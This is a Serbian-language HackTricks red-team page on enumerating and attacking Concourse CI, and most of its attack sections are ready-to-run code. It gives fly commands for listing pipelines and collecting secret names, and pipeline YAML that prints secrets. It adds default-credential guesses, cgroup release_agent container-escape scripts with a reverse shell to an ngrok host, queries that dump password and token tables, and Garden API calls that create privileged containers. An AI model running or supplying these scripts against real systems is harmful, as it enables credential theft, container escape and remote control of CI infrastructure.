Concourse Enumeration & Attacks

Concourse Enumeracija & Napadi

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Korisničke Uloge & Dozvole

Concourse dolazi sa pet uloga:

  • Concourse Admin: Ova uloga se dodeljuje samo vlasnicima glavnog tima (podrazumevani početni concourse tim). Admini mogu konfigurisati druge timove (npr.: fly set-team, fly destroy-team...). Dozvole ove uloge ne mogu biti promenjene pomoću RBAC-a.

  • vlasnik: Vlasnici timova mogu modifikovati sve unutar tima.

  • član: Članovi tima mogu čitati i pisati unutar resursa tima ali ne mogu modifikovati podešavanja tima.

  • operator-pipeline-a: Operatori pipeline-a mogu izvršavati operacije nad pipeline-om kao što su pokretanje izgradnji i fiksiranje resursa, međutim ne mogu ažurirati konfiguracije pipeline-a.

  • gledalac: Gledaoci tima imaju "samo za čitanje" pristup timu i njegovim pipeline-ima.

Osim toga, dozvole uloga vlasnik, član, operator-pipeline-a i gledalac mogu biti modifikovane konfigurisanjem RBAC-a (konfigurisanjem više specifičnih akcija). Pročitajte više o tome na: https://concourse-ci.org/user-roles.html

Imajte na umu da Concourse grupiše pipeline-ove unutar Timova. Stoga korisnici koji pripadaju Timu će moći da upravljaju tim pipeline-ovima i može postojati nekoliko Timova. Korisnik može pripadati nekoliko Timova i imati različite dozvole unutar svakog od njih.

Promenljive & Menadžer Kredencijala

U YAML konfiguracijama možete konfigurisati vrednosti koristeći sintaksu ((_source-name_:_secret-path_._secret-field_)). Od dokumenata: source-name je opcionalno, i ako se izostavi, biće korišćen menadžer kredencijala na nivou klastera, ili vrednost može biti obezbeđena statički. Opciono _secret-field_ specificira polje na dohvaćenoj tajnoj vrednosti za čitanje. Ako se izostavi, menadžer kredencijala može odabrati da pročita 'podrazumevano polje' iz dohvaćene kredencijale ako polje postoji. Osim toga, secret-path i secret-field mogu biti okruženi dvostrukim navodnicima "..." ako sadrže posebne karaktere poput . i :. Na primer, ((source:"my.secret"."field:1")) će postaviti secret-path na my.secret i secret-field na field:1.

Statičke Promenljive

Statičke promenljive mogu biti navedene u koracima zadatka:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Argumenti

Ili koristeći sledeće fly argumente:

  • -v ili --var IME=VREDNOST postavlja string VREDNOST kao vrednost za varijablu IME.

  • -y ili --yaml-var IME=VREDNOST parsira VREDNOST kao YAML i postavlja je kao vrednost za varijablu IME.

  • -i ili --instance-var IME=VREDNOST parsira VREDNOST kao YAML i postavlja je kao vrednost za instancu varijable IME. Pogledajte Grupisanje Pipelina da biste saznali više o instanci varijabli.

  • -l ili --load-vars-from FAJL učitava FAJL, YAML dokument koji sadrži mapiranje imena varijabli na vrednosti, i postavlja ih sve.

Upravljanje Kredencijalima

Postoje različiti načini na koje se Menadžer kredencijala može specificirati u pipelini, pročitajte kako na https://concourse-ci.org/creds.html. Osim toga, Concourse podržava različite menadžere kredencijala:

Imajte na umu da ako imate neku vrstu pristupa za pisanje u Concourse možete kreirati poslove da izfiltrirate te tajne informacije jer Concourse mora da ima pristup njima.

Enumeracija Concourse-a

Da biste enumerisali Concourse okruženje, prvo morate prikupiti validne kredencijale ili pronaći autentifikacioni token verovatno u konfiguracionom fajlu .flyrc.

Prijavljivanje i Enumeracija trenutnog korisnika

  • Da biste se prijavili, potrebno je znati krajnju tačku, ime tima (podrazumevano je main) i tim kojem korisnik pripada:

  • fly --target primer prijava --ime-tima moj-tim --concourse-url https://ci.primer.com [--insecure] [--client-cert=./putanja --client-key=./putanja]

  • Dobijanje konfigurisanih ciljeva:

  • fly ciljevi

  • Provera da li je konfigurisana veza sa ciljem još uvek validna:

  • fly -t <cilj> status

  • Dobijanje uloge korisnika u određenom cilju:

  • fly -t <cilj> userinfo

Imajte na umu da je API token sačuvan u $HOME/.flyrc po podrazumevanim postavkama, ako pljačkate mašine, tamo možete pronaći kredencijale.

Timovi & Korisnici

  • Dobijanje liste Timova

  • fly -t <cilj> timovi

  • Dobijanje uloga unutar tima

  • fly -t <cilj> get-team -n <ime-tima>

  • Dobijanje liste korisnika

  • fly -t <cilj> aktivni-korisnici

Pipelines

  • Izlistavanje pipelina:

  • fly -t <cilj> pipelini -a

  • Dobijanje yaml fajla pipelina (osetljive informacije mogu se naći u definiciji):

  • fly -t <cilj> get-pipeline -p <ime-pipelina>

  • Dobijanje svih deklarisanih varijabli konfiguracije pipelina

  • for imepipelina in $(fly -t <cilj> pipelini | grep -Ev "^id" | awk '{print $2}'); do echo $imepipelina; fly -t <cilj> get-pipeline -p $imepipelina -j | grep -Eo '"vars":[^}]+'; done

  • Dobijanje svih imenâ tajnih informacija pipelina koje se koriste (ako možete kreirati/izmeniti posao ili preuzeti kontrolu nad kontejnerom, možete ih izfiltrirati):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Kontejneri i radnici

  • Lista radnika:

  • fly -t <cilj> workers

  • Lista kontejnera:

  • fly -t <cilj> containers

  • Lista izgradnji (da vidite šta se izvršava):

  • fly -t <cilj> builds

Napadi na Concourse

Brute-Force za pristupne podatke

  • admin:admin

  • test:test

Enumeracija tajni i parametara

U prethodnom odeljku videli smo kako možete dobiti sve nazive tajni i varijabli koje koristi cev. Varijable mogu sadržati osetljive informacije i naziv tajni će biti koristan kasnije za pokušaj krađe.

Sesija unutar pokrenutog ili nedavno pokrenutog kontejnera

Ako imate dovoljno privilegija (uloga člana ili više), moći ćete da nabrojite cevi i uloge i jednostavno dobiti sesiju unutar <cev>/<posao> kontejnera korišćenjem:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Sa ovim dozvolama možete:

  • Ukrasti tajne unutar kontejnera

  • Pokušati da pobegnete do noda

  • Nabrojati/Zloupotrebiti krajnju tačku metapodataka u oblaku (iz poda i sa noda, ako je moguće)

Kreiranje/Izmena Pipelina

Ako imate dovoljno privilegija (član uloga ili više) moći ćete kreirati/izmeniti nove pipeline-ove. Proverite ovaj primer:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Sa modifikacijom/kreiranjem nove cevi moći ćete da:

  • Ukradete tajne (putem njihovog ispisivanja ili ulaska u kontejner i pokretanja env)

  • Pobegnete na čvor (dajući vam dovoljno privilegija - privileged: true)

  • Nabrojite/Zloupotrebite krajnju tačku metapodataka u oblaku (iz poda i sa čvora)

  • Obrišete kreiranu cev

Izvršite prilagođeni zadatak

Ovo je slično prethodnoj metodi, ali umesto modifikovanja/kreiranja potpuno nove cevi, možete samo izvršiti prilagođeni zadatak (što će verovatno biti mnogo skrivenije):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Bekstvo na čvor iz privilegovanog zadatka

U prethodnim sekcijama videli smo kako izvršiti privilegovan zadatak sa concourse. Ovo neće dati kontejneru potpuni pristup kao privilegovana oznaka u docker kontejneru. Na primer, nećete videti uređaj fajl sistema čvora u /dev, tako da bekstvo može biti "kompleksnije".

U sledećem PoC-u koristićemo release_agent za bekstvo sa nekim malim modifikacijama:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Kao što ste možda primetili, ovo je samo običan beg release_agenta samo modifikujući putanju komande na čvoru

Bekstvo na čvor iz radničkog kontejnera

Dovoljna je obična modifikacija bega release_agenta za ovo:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Bekstvo na čvor iz Web kontejnera

Čak i ako web kontejner ima neke odbrane onemogućene, ne radi kao običan privilegovani kontejner (na primer, ne možete montirati i mogućnosti su veoma ograničene, tako da su svi jednostavni načini bekstva iz kontejnera beskorisni).

Međutim, čuva lokalne akreditive u čistom tekstu:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Možete koristiti te podatke za prijavu na veb server i kreiranje privilegovanog kontejnera i bekstvo na čvor.

U okruženju takođe možete pronaći informacije za pristup postgresql instanci koju koristi concourse (adresa, korisničko ime, šifra i baza podataka među ostalim informacijama):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Zloupotreba Garden servisa - Nije pravi napad

Ovo su samo neke zanimljive beleške o servisu, ali pošto sluša samo na lokalnom računaru, ove beleške neće imati nikakav uticaj koji već nismo iskoristili ranije.

Podrazumevano, svaki radnik u Concourse-u će pokretati Garden servis na portu 7777. Ovaj servis se koristi od strane Web mastera da bi pokazao radniku šta treba da izvrši (preuzimanje slike i pokretanje svakog zadatka). Ovo zvuči prilično dobro za napadača, ali postoje neke dobre zaštite:

  • Samo je izložen lokalno (127..0.0.1) i mislim da kada se radnik autentifikuje ponovo na Web sa specijalnim SSH servisom, pravi se tunel tako da web server može komunicirati sa svakim Garden servisom unutar svakog radnika.

  • Web server prati pokrenute kontejnere svakih nekoliko sekundi, i neočekivani kontejneri se brišu. Dakle, ako želite da pokrenete prilagođeni kontejner morate manipulisati sa komunikacijom između web servera i garden servisa.

Concourse radnici se izvršavaju sa visokim privilegijama kontejnera:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Međutim, tehnike poput montiranja /dev uređaja čvora ili release_agent neće raditi (jer stvarni uređaj sa fajl sistemom čvora nije dostupan, već samo virtuelni). Ne možemo pristupiti procesima čvora, pa je izlazak iz čvora bez eksploatacije kernela komplikovan.

U prethodnom odeljku videli smo kako izaći iz privilegovanog kontejnera, pa ako možemo izvršiti komande u privilegovanom kontejneru kreiranom od trenutnog radnika, mogli bismo pobegnuti na čvor.

Imajte na umu da sam igrajući se sa Concourse-om primetio da kada se novi kontejner pokrene da nešto izvrši, procesi kontejnera su dostupni iz radničkog kontejnera, pa je to kao da kontejner kreira novi kontejner unutar sebe.

Ulazak u pokrenuti privilegovani kontejner

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Kreiranje novog privilegovanog kontejnera

Veoma lako možete kreirati novi kontejner (samo pokrenite nasumični UID) i izvršiti nešto na njemu:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Međutim, veb server proverava svakih nekoliko sekundi kontejnere koji se izvršavaju, i ako se otkrije neočekivan, biće obrisan. Pošto se komunikacija odvija putem HTTP-a, možete manipulisati komunikacijom kako biste izbegli brisanje neočekivanih kontejnera:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Reference

  • https://concourse-ci.org/vars.html

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated